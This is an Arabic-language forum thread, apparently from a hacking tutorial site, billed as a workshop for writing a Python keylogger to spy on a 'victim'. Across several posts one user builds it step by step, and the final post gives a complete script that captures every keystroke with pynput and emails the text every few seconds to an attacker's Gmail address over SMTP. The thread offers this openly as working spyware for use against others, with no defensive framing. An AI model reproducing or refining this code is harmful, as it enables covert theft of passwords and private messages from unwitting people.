x32x01
  • بواسطة x32x01 ||
ورشة عمل لبرمجة مالوير كيلوجر KeyLogger بالبايثون للتصنت على الضحية
الكود بلغة البايثون وسوف نفهم كل صغيرة وكبيرة فى الكود مع بعض
بعد أنتهاء العمل فى الورشة سوف تكون قادر على

أنشاء وبرمجة مالوير كيلوجر للتصنت على الضحية من برمجتك أنت
مع أخد خبرة لا بأس بها من برمجة أدوات الأختراق الخاصة بك
## هيا نبدأ ##
 
  • بواسطة x32x01 ||
أول حاجة وهي إزاي تخلي البرنامج بتاعك يبعت Mail بالبايثون
 
  • بواسطة x32x01 ||
وبعد ما أنتهينا من الجزء الأول من الورشة
وصلنا الى أرسال رسالة على الأيميل بأستخدام البرمجة البايثون
وهذا هو الكود ..
Python:
import smtplib

sender_mail = "[email protected]"
target_mail = "[email protected]"

sender_password = input("Please Enter Your Password: ")

server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(sender_mail, sender_password)

print("[+] Loged in Successfully")

server.sendmail(sender_mail, target_mail, "This is My First Mail")

print("[+] Message Sent Successfully")
 
  • بواسطة x32x01 ||
الجزء الثانى من الورشة يا شباب وهى
استعمال الـKey Listener عشان نتتبع ضغطات الأزرار اللى هتكون ضرورية جدا في تخزين أى حاجة بيتم الضغط عليها من قبل الهدف بتاعنا
 
  • بواسطة x32x01 ||
وده الكود النهائى فى درسنا التانى :
Python:
from pynput.keyboard import Listener, Key

def show_pressed_key(key):
    if key == Key.backspace:
        print("You Erased the character")
    elif key.char == 'a':
        print("You Pressed FORCLY on 'a' ")
    else:
        print(f"You Pressed on {key}")

with Listener(on_press=show_pressed_key) as listener:
    listener.join()
 
  • بواسطة x32x01 ||
كله يسجل ملاحظاته يا شباب ...
يعنى مثلا أذا قمت بالضغط الان على أى حرف سوف يسجلها البرنامج
لكن ماذا الان لو قمت بالضغط على زر Enter ... ؟؟
 
  • بواسطة x32x01 ||
الجزء الثالث من الورشة هتحل لنا مشاكل كتيرة أوي في الـKeylogger بتاعنا وهي الـThreads
وعرفنا إزاي هي بتخلي كل حاجة تشتغل parallel في البرنامج بدون ما أحتاج أنتظر فانكشن تخلص وتشتغل اللى بعدها
 
  • بواسطة x32x01 ||
الجزء الثالث من الورشة حنتعرف منها على حاجة مهمة جدًا هتحل لنا مشاكل كتيرة أوي في الـKeylogger بتاعنا
وهي الـThreads وعرفنا إزاي هي بتخلي كل حاجة تشتغل parallel في البرنامج بدون ما أحتاج أنتظر فانكشن تخلص وتشتغل اللى بعدها
 
  • بواسطة x32x01 ||
  • #10
الكود يا شباب اللى فى الفيديو اللى أتعلمنا منه يعنى أيه Threads
وأزاى نقدر تشغل أكثر من فانكشن مع بعض
Python:
from threading  import  Thread
from time import sleep

def say_hello():
    for i in range(100):
        print("Hello from say_hello")
        sleep(1)

def say_bye(username):
    for i in range(100):
        print(f"Bye from {username}")
        sleep(1.5)

thread = Thread(target=say_bye, args=("Aragami",))
thread.start()

say_hello()
 
  • بواسطة x32x01 ||
  • #11
كله يطبق على الثلاث أجزاء اللى فاتوا يا شباب
عشان الجزء الرابع والأخير حيكون عبارة عن سكريبت كيلوجر كامل
بيعمل تصنت على الضحية ويقوم بأرسال الأيميل باى حاجة يكتبها الضحية
 
  • بواسطة x32x01 ||
  • #12
يا شباب انا ملاحظ من بعض الناس بترسل لى على التلجرام أخطاء من كتابة الكود بشكل خأطى
أنا بنصحهم يتابعوا دورة تعلم البايثون للمبتدئين وأستخدامها فى أختبار الأختراق .. من الرابط التالى
https://tabcode.net/arabic/threads/1463/
 
  • بواسطة x32x01 ||
  • #13
الجزء الأخير من الورشة
أنتهينا من الـ Malware بتاعنا كامل بكل الفيتشرز المناسبة للعمل على جهاز الهدف بدون أي مشاكل
أخذنا أيضًا معلومات جديدة عن الـGlobal, Local Variables واستعملنا تقريبا كل ما تعلّمناه في البايثون والـKeylogger
 
  • بواسطة x32x01 ||
  • #14
الكود كامل يا شباب :
Python:
from pynput.keyboard import Key, Listener
from threading import Thread
from time import sleep
import smtplib

target_char = ""

def listen_on_target__keyboard(key):
    global target_char
    try:
        if key == Key.backspace:
            target_char = target_char[:-1]
        elif key == Key.space:
            target_char += " "
        else:
            target_char += key.char
    except Exception:
        pass

def send_target_key_char():
    global target_char

    sender_mail = "[email protected]"
    recv_mail   = "[email protected]"
    sender_pass = "XXXXXXXXXXXXXXXXXX   "
    server = smtplib.SMTP_SSL("smtp.gmail.com", 465)

    server.login(sender_mail, sender_pass)
    print("[+] Loged Successfully!")

    while True:
        temp_value = target_char
        target_char = ""

        if temp_value == '':
            pass
        else:
            server.sendmail(sender_mail,recv_mail, temp_value)
            print("[!] Message Sent Successfully!")
        sleep(3)

thread = Thread(target=send_target_key_char)
thread.start()

with Listener(on_press=listen_on_target__keyboard) as key_Listener:
    key_Listener.join()
 
  • بواسطة x32x01 ||
  • #15
يا شباب الكود هذا ناقصة حاجة
الناس اللى متابعين الورشة من الأول فين ؟
 

المشاركات المتشابهة

x32x01
الردود
0
المشاهدات
47
x32x01
x32x01
x32x01
الردود
0
المشاهدات
79
x32x01
x32x01
x32x01
الردود
13
المشاهدات
759
x32x01
x32x01
x32x01
الردود
0
المشاهدات
123
x32x01
x32x01
x32x01
الردود
0
المشاهدات
122
x32x01
x32x01
الوسوم : الوسوم
keylogger keylogger maleware كيلوجر

الدخول أو التسجيل السريع

نسيت كلمة مرورك؟

آخر المشاركات

أحدث المنتجات

إحصائيات المنتدى

المواضيع
1,530
المشاركات
1,716
أعضاء أكتب كود
191
أخر عضو
Ahmed123132
عودة
أعلى